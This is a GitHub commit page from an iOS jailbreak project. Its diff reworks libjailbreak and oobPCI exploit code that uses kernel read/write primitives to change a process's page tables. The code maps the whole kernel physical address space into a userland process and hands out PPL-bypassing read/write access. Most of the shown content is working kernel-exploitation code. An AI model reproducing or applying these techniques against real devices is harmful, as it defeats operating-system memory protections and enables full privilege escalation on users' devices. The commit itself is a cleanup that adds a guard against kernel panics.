Skip to content

Commit

Permalink
Clean up kernel mapping code, prevent panics if something tries to ge…
Browse files Browse the repository at this point in the history
…t PPLRW more than once
  • Loading branch information
opa334 committed Jul 26, 2023
1 parent ee0fec9 commit 2f86ef3
Show file tree
Hide file tree
Showing 6 changed files with 50 additions and 35 deletions.
42 changes: 25 additions & 17 deletions BaseBin/libjailbreak/src/handoff.m
Original file line number Diff line number Diff line change
Expand Up @@ -6,9 +6,9 @@

#define PERM_KRW_URW 0x7 // R/W for kernel and user
#define FAKE_PHYSPAGE_TO_MAP 0x13370000
#define L2_MAPPING_SIZE 0x2000000
#define L2_MAPPING_PAGECOUNT (L2_MAPPING_SIZE / PAGE_SIZE)
#define L2_MAPPING_MASK (L2_MAPPING_SIZE-1)
#define L2_BLOCK_SIZE 0x2000000
#define L2_BLOCK_PAGECOUNT (L2_BLOCK_SIZE / PAGE_SIZE)
#define L2_BLOCK_MASK (L2_BLOCK_SIZE-1)

uint64_t pmap_alloc_page_for_kern(unsigned int options)
{
Expand Down Expand Up @@ -53,16 +53,16 @@ void pmap_remove(uint64_t pmap, uint64_t start, uint64_t end) {

int pmap_map_in(uint64_t pmap, uint64_t ua, uint64_t pa, uint64_t size)
{
uint64_t mappingUaddr = ua & ~L2_MAPPING_MASK;
uint64_t mappingPA = pa & ~L2_MAPPING_MASK;
uint64_t mappingUaddr = ua & ~L2_BLOCK_MASK;
uint64_t mappingPA = pa & ~L2_BLOCK_MASK;

uint64_t endPA = pa + size;
uint64_t mappingEndPA = endPA & ~L2_MAPPING_MASK;
uint64_t mappingEndPA = endPA & ~L2_BLOCK_MASK;

uint64_t mappingCount = ((mappingEndPA - mappingPA) / L2_MAPPING_SIZE) + 1;
uint64_t l2Count = ((mappingEndPA - mappingPA) / L2_BLOCK_SIZE) + 1;

for (uint64_t i = 0; i < mappingCount; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_MAPPING_SIZE);
for (uint64_t i = 0; i < l2Count; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_BLOCK_SIZE);
kern_return_t kr = pmap_enter_options_addr(pmap, FAKE_PHYSPAGE_TO_MAP, curMappingUaddr);
if (kr != KERN_SUCCESS) {
pmap_remove(pmap, mappingUaddr, curMappingUaddr);
Expand All @@ -73,13 +73,13 @@ int pmap_map_in(uint64_t pmap, uint64_t ua, uint64_t pa, uint64_t size)
// Temporarily change pmap type to nested
pmap_set_type(pmap, 3);
// Remove mapping (table will not be removed because we changed the pmap type)
pmap_remove(pmap, mappingUaddr, mappingUaddr + (mappingCount * L2_MAPPING_SIZE));
pmap_remove(pmap, mappingUaddr, mappingUaddr + (l2Count * L2_BLOCK_SIZE));
// Change type back
pmap_set_type(pmap, 0);

for (uint64_t i = 0; i < mappingCount; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_MAPPING_SIZE);
uint64_t curMappingPA = mappingPA + (i * L2_MAPPING_SIZE);
for (uint64_t i = 0; i < l2Count; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_BLOCK_SIZE);
uint64_t curMappingPA = mappingPA + (i * L2_BLOCK_SIZE);

// Create full table for this mapping
uint64_t tableToWrite[2048];
Expand Down Expand Up @@ -122,10 +122,18 @@ int handoffPPLPrimitives(pid_t pid)
if (vmMap) {
uint64_t pmap = vm_map_get_pmap(vmMap);
if (pmap) {
// Map the entire kernel physical address space into the userland process 1:1
uint64_t physBase = kread64(bootInfo_getSlidUInt64(@"gPhysBase"));
uint64_t physSize = kread64(bootInfo_getSlidUInt64(@"gPhysSize"));
ret = pmap_map_in(pmap, physBase+USER_MAPPING_OFFSET, physBase, physSize);
uint64_t existingLevel1Entry = kread64(pmap_get_ttep(pmap) + (8 * PPLRW_USER_MAPPING_TTEP_IDX));
// If there is an existing level 1 entry, we assume the process already has PPLRW primitives
// Normally there cannot be mappings above 0x3D6000000, so this assumption should always be true
// If we would try to handoff PPLRW twice, the second time would cause a panic because the mapping already exists
// So this check protects the device from kernel panics, by not adding the mapping if the process already has it
if (existingLevel1Entry == 0)
{
// Map the entire kernel physical address space into the userland process, starting at PPLRW_USER_MAPPING_OFFSET
uint64_t physBase = kread64(bootInfo_getSlidUInt64(@"gPhysBase"));
uint64_t physSize = kread64(bootInfo_getSlidUInt64(@"gPhysSize"));
ret = pmap_map_in(pmap, physBase+PPLRW_USER_MAPPING_OFFSET, physBase, physSize);
}
}
else { ret = -5; }
}
Expand Down
3 changes: 2 additions & 1 deletion BaseBin/libjailbreak/src/pplrw.h
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#import <Foundation/Foundation.h>

#define USER_MAPPING_OFFSET 0x7000000000
#define PPLRW_USER_MAPPING_OFFSET 0x7000000000
#define PPLRW_USER_MAPPING_TTEP_IDX (PPLRW_USER_MAPPING_OFFSET / 0x1000000000)

typedef enum {
kPPLRWStatusNotInitialized = 0,
Expand Down
2 changes: 1 addition & 1 deletion BaseBin/libjailbreak/src/pplrw.m
Original file line number Diff line number Diff line change
Expand Up @@ -83,7 +83,7 @@ uint64_t va_to_pa(uint64_t table, uint64_t virt, bool *err)

void *pa_to_uaddr(uint64_t pa)
{
return (void *)(pa + USER_MAPPING_OFFSET);
return (void *)(pa + PPLRW_USER_MAPPING_OFFSET);
}

uint64_t kaddr_to_pa(uint64_t va, bool *err)
Expand Down
1 change: 1 addition & 0 deletions BaseBin/libjailbreak/src/util.h
Original file line number Diff line number Diff line change
Expand Up @@ -96,6 +96,7 @@ void vm_map_entry_set_prot(uint64_t entry_ptr, vm_prot_t prot, vm_prot_t max_pro

void pmap_set_wx_allowed(uint64_t pmap_ptr, bool wx_allowed);
void pmap_set_type(uint64_t pmap_ptr, uint8_t type);
uint64_t pmap_get_ttep(uint64_t pmap_ptr);
uint64_t pmap_lv2(uint64_t pmap_ptr, uint64_t virt);
uint64_t get_cspr_kern_intr_en(void);
uint64_t get_cspr_kern_intr_dis(void);
Expand Down
7 changes: 6 additions & 1 deletion BaseBin/libjailbreak/src/util.m
Original file line number Diff line number Diff line change
Expand Up @@ -592,9 +592,14 @@ void pmap_set_type(uint64_t pmap_ptr, uint8_t type)
kwrite8(pmap_ptr + 0xC8 + el2_adjust, type);
}

uint64_t pmap_get_ttep(uint64_t pmap_ptr)
{
return kread64(pmap_ptr + 0x8);
}

uint64_t pmap_lv2(uint64_t pmap_ptr, uint64_t virt)
{
uint64_t ttep = kread64(pmap_ptr + 0x8);
uint64_t ttep = pmap_get_ttep(pmap_ptr);

uint64_t table1Off = (virt >> 36ULL) & 0x7ULL;
uint64_t table1Entry = physread64(ttep + (8ULL * table1Off));
Expand Down
30 changes: 15 additions & 15 deletions Exploits/oobPCI/Sources/main.c
Original file line number Diff line number Diff line change
Expand Up @@ -33,10 +33,10 @@
#define CS_PLATFORM_BINARY 0x04000000 /* this is a platform binary */

#define FAKE_PHYSPAGE_TO_MAP 0x13370000
#define L2_MAPPING_SIZE 0x2000000
#define L2_MAPPING_PAGECOUNT (L2_MAPPING_SIZE / PAGE_SIZE)
#define L2_MAPPING_MASK (L2_MAPPING_SIZE-1)
#define USER_MAPPING_OFFSET 0x7000000000
#define L2_BLOCK_SIZE 0x2000000
#define L2_BLOCK_PAGECOUNT (L2_BLOCK_SIZE / PAGE_SIZE)
#define L2_BLOCK_MASK (L2_BLOCK_SIZE-1)
#define PPLRW_USER_MAPPING_OFFSET 0x7000000000

extern void mach_init(void);

Expand Down Expand Up @@ -135,16 +135,16 @@ void unlabelPort(mach_port_t port) {

int pmap_map_in(uint64_t pmap, uint64_t ua, uint64_t pa, uint64_t size)
{
uint64_t mappingUaddr = ua & ~L2_MAPPING_MASK;
uint64_t mappingPA = pa & ~L2_MAPPING_MASK;
uint64_t mappingUaddr = ua & ~L2_BLOCK_MASK;
uint64_t mappingPA = pa & ~L2_BLOCK_MASK;

uint64_t endPA = pa + size;
uint64_t mappingEndPA = endPA & ~L2_MAPPING_MASK;
uint64_t mappingEndPA = endPA & ~L2_BLOCK_MASK;

uint64_t mappingCount = ((mappingEndPA - mappingPA) / L2_MAPPING_SIZE) + 1;
uint64_t l2Count = ((mappingEndPA - mappingPA) / L2_BLOCK_SIZE) + 1;

for (uint64_t i = 0; i < mappingCount; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_MAPPING_SIZE);
for (uint64_t i = 0; i < l2Count; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_BLOCK_SIZE);
kern_return_t kr = pmap_enter_options_addr(pmap, FAKE_PHYSPAGE_TO_MAP, curMappingUaddr);
if (kr != KERN_SUCCESS) {
pmap_remove(pmap, mappingUaddr, curMappingUaddr);
Expand All @@ -155,13 +155,13 @@ int pmap_map_in(uint64_t pmap, uint64_t ua, uint64_t pa, uint64_t size)
// Temporarily change pmap type to nested
PMAP_TYPE_SET(pmap, 3);
// Remove mapping (table will not be removed because we changed the pmap type)
pmap_remove(pmap, mappingUaddr, mappingUaddr + (mappingCount * L2_MAPPING_SIZE));
pmap_remove(pmap, mappingUaddr, mappingUaddr + (l2Count * L2_BLOCK_SIZE));
// Change type back
PMAP_TYPE_SET(pmap, 0);

for (uint64_t i = 0; i < mappingCount; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_MAPPING_SIZE);
uint64_t curMappingPA = mappingPA + (i * L2_MAPPING_SIZE);
for (uint64_t i = 0; i < l2Count; i++) {
uint64_t curMappingUaddr = mappingUaddr + (i * L2_BLOCK_SIZE);
uint64_t curMappingPA = mappingPA + (i * L2_BLOCK_SIZE);

// Create full table for this mapping
uint64_t tableToWrite[2048];
Expand Down Expand Up @@ -385,7 +385,7 @@ void __attribute__((noreturn)) exploit_server(uint64_t kBase, uint64_t virtBase,
// Map the entire kernel physical address space into the target process
uint64_t physSize = kread64(SLIDE(gOffsets.gPhysSize));
uint64_t betterPhysBase = kread64(SLIDE(gOffsets.gPhysBase));
status = pmap_map_in(pmap, betterPhysBase+USER_MAPPING_OFFSET, betterPhysBase, physSize);
status = pmap_map_in(pmap, betterPhysBase+PPLRW_USER_MAPPING_OFFSET, betterPhysBase, physSize);
result = 0;

break;
Expand Down

0 comments on commit 2f86ef3

Please sign in to comment.